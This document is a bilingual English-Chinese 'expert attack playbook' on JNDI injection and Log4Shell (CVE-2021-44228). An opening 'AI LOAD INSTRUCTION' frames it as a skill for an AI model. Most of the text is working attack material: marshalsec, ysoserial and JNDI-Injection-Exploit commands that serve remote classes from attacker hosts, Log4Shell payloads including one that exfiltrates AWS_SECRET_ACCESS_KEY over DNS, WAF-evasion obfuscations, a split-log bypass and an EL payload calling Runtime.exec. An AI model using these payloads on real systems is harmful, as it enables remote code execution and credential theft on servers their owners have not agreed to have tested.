jndi-injection

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: JNDI Injection — Expert Attack Playbook

SKILL: JNDI Injection — 专家攻击手册

AI LOAD INSTRUCTION: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.
AI加载说明: 专业JNDI注入技术,涵盖查找机制滥用、RMI/LDAP类加载、JDK版本限制、Log4Shell(CVE-2021-44228)、marshalsec工具,以及通过反序列化gadget实现的8u191之后版本的绕过。基础模型经常将JNDI注入与通用反序列化混淆,本文件明确了二者不同的攻击面。

0. RELATED ROUTING

0. 关联路径

  • deserialization-insecure when JNDI leads to deserialization (post-8u191 bypass path)
  • expression-language-injection when the JNDI sink is reached via SpEL or OGNL expression evaluation

  • 不安全的反序列化 当JNDI触发反序列化时(8u191之后版本的绕过路径)
  • 表达式语言注入 当通过SpEL或OGNL表达式执行到达JNDI sink点时

1. CORE MECHANISM

1. 核心机制

JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).
Vulnerability: when
InitialContext.lookup(USER_INPUT)
receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.
java
// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);  // name = "ldap://attacker.com/Exploit"

JNDI(Java命名与目录接口)提供了统一的API,用于从命名/目录服务(RMI、LDAP、DNS、CORBA)中查找对象。
漏洞原理: 当
InitialContext.lookup(USER_INPUT)
接收到攻击者可控的URL时,JVM会连接到攻击者的服务器并加载/执行任意代码。
java
// 漏洞代码模式:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);  // name = "ldap://attacker.com/Exploit"

2. ATTACK VECTORS

2. 攻击向量

RMI (Remote Method Invocation)

RMI(远程方法调用)

rmi://attacker.com:1099/Exploit
Attacker runs an RMI server returning a
Reference
object pointing to a remote class:
java
// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it
rmi://attacker.com:1099/Exploit
攻击者运行的RMI服务器会返回指向远程类的
Reference
对象:
java
// 攻击者的RMI服务器返回内容:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM会下载http://attacker.com/Exploit.class并实例化该类

LDAP

LDAP

ldap://attacker.com:1389/cn=Exploit
Attacker runs an LDAP server returning entries with
javaCodeBase
,
javaFactory
, or serialized object attributes.
LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).
ldap://attacker.com:1389/cn=Exploit
攻击者运行的LDAP服务器会返回携带
javaCodeBase
javaFactory
或序列化对象属性的条目。
LDAP比RMI更常用,因为LDAP的限制添加得更晚(RMI的限制从JDK 8u121开始,LDAP的限制从JDK 8u191开始)。

DNS (detection only)

DNS(仅用于检测)

dns://attacker-dns-server/lookup-name
Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.

dns://attacker-dns-server/lookup-name
可在不触发RCE的情况下确认JNDI注入存在——会触发对攻击者权威DNS服务器的查询请求。

3. JDK VERSION CONSTRAINTS AND BYPASS

3. JDK版本限制与绕过

JDK VersionRMI Remote ClassLDAP Remote ClassBypass
< 8u121YESYESDirect class loading
8u121 – 8u190NO (
trustURLCodebase=false
)
YESUse LDAP vector
>= 8u191NONOReturn serialized gadget object via LDAP
>= 8u191 (alternative)NONO
BeanFactory
+ EL injection
JDK 版本RMI 远程类加载LDAP 远程类加载绕过方案
< 8u121支持支持直接类加载
8u121 – 8u190不支持(
trustURLCodebase=false
支持使用LDAP攻击向量
>= 8u191不支持不支持通过LDAP返回序列化gadget对象
>= 8u191(替代方案)不支持不支持
BeanFactory
+ EL注入

Post-8u191 Bypass: LDAP → Serialized Gadget

8u191之后版本绕过:LDAP → 序列化Gadget

Instead of returning a remote class URL, the attacker's LDAP server returns a serialized Java object in the
javaSerializedData
attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.
bash
undefined
攻击者的LDAP服务器不再返回远程类URL,而是在
javaSerializedData
属性中返回序列化Java对象。JVM会在本地反序列化该对象——如果类路径中存在可用的gadget链(比如CommonsCollections),即可实现RCE。
bash
undefined

ysoserial JRMPListener approach:

ysoserial JRMPListener 方案:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"

Then JNDI lookup points to: rmi://attacker:1099/whatever

之后JNDI查找指向: rmi://attacker:1099/whatever

undefined
undefined

Post-8u191 Bypass: BeanFactory + EL

8u191之后版本绕过:BeanFactory + EL

When Tomcat's
BeanFactory
is on the classpath, the LDAP response can reference it as a factory with EL expressions:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")

当类路径中存在Tomcat的
BeanFactory
时,LDAP响应可以将其作为工厂类引用,携带EL表达式:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")

4. TOOLING

4. 工具

marshalsec — JNDI Reference Server

marshalsec — JNDI Reference服务器

bash
undefined
bash
undefined

Start LDAP server serving a remote class:

启动LDAP服务器,提供远程类加载:

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Start RMI server:

启动RMI服务器:

java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099

The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class

undefined
undefined

JNDI-Injection-Exploit (all-in-one)

JNDI-Injection-Exploit(一站式工具)

bash
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
bash
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip

Automatically starts RMI + LDAP servers with multiple bypass strategies

自动启动RMI + LDAP服务器,内置多种绕过策略

undefined
undefined

Rogue JNDI

Rogue JNDI

bash
java -jar RogueJndi.jar --command "id" --hostname attacker.com
bash
java -jar RogueJndi.jar --command "id" --hostname attacker.com

Provides RMI, LDAP, and HTTP servers with auto-generated payloads

提供RMI、LDAP和HTTP服务器,自动生成payload


---

---

5. LOG4J2 — CVE-2021-44228 (LOG4SHELL)

5. LOG4J2 — CVE-2021-44228 (LOG4SHELL)

Mechanism

原理

Log4j2 supports Lookups — expressions like
${...}
that are evaluated in log messages. The
jndi
lookup triggers
InitialContext.lookup()
:
${jndi:ldap://attacker.com/x}
Any logged string containing this pattern triggers the vulnerability — User-Agent, form fields, HTTP headers, URL paths, error messages.
Log4j2支持查找功能——日志消息中形如
${...}
的表达式会被执行,其中
jndi
查找会触发
InitialContext.lookup()
:
${jndi:ldap://attacker.com/x}
任何被记录的字符串只要包含这个模式就会触发漏洞——User-Agent、表单字段、HTTP头、URL路径、错误消息等。

Detection Payloads

检测Payload

text
${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}
text
${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}

Exfiltrate environment info via DNS:

通过DNS外带环境信息:

${jndi:ldap://${sys:java.version}.TOKEN.collab.net} ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net} ${jndi:ldap://${hostName}.TOKEN.collab.net}
undefined
${jndi:ldap://${sys:java.version}.TOKEN.collab.net} ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net} ${jndi:ldap://${hostName}.TOKEN.collab.net}
undefined

WAF Bypass Variants

WAF绕过变体

Log4j2's lookup parser is very flexible:
text
${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}
Log4j2的查找解析器非常灵活:
text
${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}

Split-Log Bypass (Advanced)

日志拆分绕过(高级)

When WAF detects paired
${jndi:...}
in a single request, split across two log entries:
text
undefined
当WAF会检测单个请求中配对的
${jndi:...}
时,可以将payload拆分到两条日志中:
text
undefined

Request 1 (logged first):

请求1(先被记录):

X-Custom: ${jndi:ldap://attacker.com/
X-Custom: ${jndi:ldap://attacker.com/

Request 2 (logged second):

请求2(后被记录):

X-Custom: exploit}

If the application concatenates log entries before re-processing (e.g., aggregation pipelines), the combined `${jndi:ldap://attacker.com/exploit}` triggers.
X-Custom: exploit}

如果应用在二次处理前会拼接日志条目(比如日志聚合管道),拼接后的`${jndi:ldap://attacker.com/exploit}`就会触发漏洞。

Real-World Case: Solr Log4Shell

真实案例:Solr Log4Shell

bash
undefined
bash
undefined

Confirm via DNSLog — Solr admin cores API:

通过DNSLog确认漏洞 — Solr admin cores API:

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}

DNS hit with Java version = confirmed Log4Shell in Solr

收到携带Java版本的DNS请求 = 确认Solr存在Log4Shell漏洞

undefined
undefined

Injection Points to Test

需要测试的注入点

text
User-Agent          X-Forwarded-For       Referer
Accept-Language     X-Api-Version         Authorization
Cookie values       URL path segments     POST body fields
Search queries      File upload names     Form field names
GraphQL variables   SOAP/XML elements     JSON values
text
User-Agent          X-Forwarded-For       Referer
Accept-Language     X-Api-Version         Authorization
Cookie值            URL路径片段           POST请求体字段
搜索查询词          上传文件名            表单字段名
GraphQL变量         SOAP/XML元素          JSON值

Affected Versions

受影响版本

  • Log4j2 2.0-beta9 through 2.14.1
  • Fixed in 2.15.0 (partial), fully fixed in 2.17.0
  • Log4j 1.x is NOT affected (different lookup mechanism)

  • Log4j2 2.0-beta9 到 2.14.1
  • 2.15.0部分修复,2.17.0完全修复
  • Log4j 1.x不受影响(查找机制不同)

6. OTHER JNDI SINKS (BEYOND LOG4J)

6. 其他JNDI Sink点(除Log4j外)

Product / FrameworkSink
Spring Framework
JndiTemplate.lookup()
Apache SolrConfig API, VelocityResponseWriter
Apache DruidVarious config endpoints
VMware vCenterMultiple endpoints
H2 Database ConsoleJNDI connection string
Fastjson
@type
+
JdbcRowSetImpl.setDataSourceName()

产品/框架Sink点
Spring Framework
JndiTemplate.lookup()
Apache Solr配置API、VelocityResponseWriter
Apache Druid多个配置端点
VMware vCenter多个端点
H2 Database ConsoleJNDI连接字符串
Fastjson
@type
+
JdbcRowSetImpl.setDataSourceName()

7. TESTING METHODOLOGY

7. 测试流程

Suspected JNDI injection point?
├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}
│   └── DNS hit? → Confirmed JNDI evaluation
├── Determine JDK version:
│   └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
├── JDK < 8u191?
│   ├── Start marshalsec LDAP server with remote class
│   └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE
├── JDK >= 8u191?
│   ├── LDAP → serialized gadget (need gadget chain on classpath)
│   ├── BeanFactory + EL (need Tomcat on classpath)
│   └── JRMPListener via ysoserial
└── WAF blocking ${jndi:...}?
    └── Try obfuscation: ${${lower:j}ndi:...}

疑似存在JNDI注入点?
├── 发送仅DNS探测Payload: ${jndi:dns://TOKEN.collab.net}
│   └── 收到DNS请求? → 确认存在JNDI执行
├── 确定JDK版本:
│   └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
├── JDK < 8u191?
│   ├── 启动marshalsec LDAP服务器,托管远程类
│   └── ${jndi:ldap://attacker:1389/Exploit} → 直接RCE
├── JDK >= 8u191?
│   ├── LDAP → 序列化gadget(需要类路径中存在gadget链)
│   ├── BeanFactory + EL(需要类路径中存在Tomcat)
│   └── 通过ysoserial启动JRMPListener
└── WAF拦截${jndi:...}?
    └── 尝试混淆: ${${lower:j}ndi:...}

8. QUICK REFERENCE

8. 快速参考

text
undefined
text
undefined

Safe confirmation (DNS only):

安全确认(仅DNS):

${jndi:dns://TOKEN.collab.net}
${jndi:dns://TOKEN.collab.net}

LDAP RCE (JDK < 8u191):

LDAP RCE(JDK < 8u191):

${jndi:ldap://ATTACKER:1389/Exploit}
${jndi:ldap://ATTACKER:1389/Exploit}

Version exfiltration:

版本外带:

${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}

Log4Shell with WAF bypass:

Log4Shell WAF绕过:

${${lower:j}ndi:${lower:l}dap://ATTACKER/x}
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}

Start LDAP reference server:

启动LDAP reference服务器:

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389

Post-8u191 — ysoserial JRMP:

8u191之后版本 — ysoserial JRMP:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
undefined
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
undefined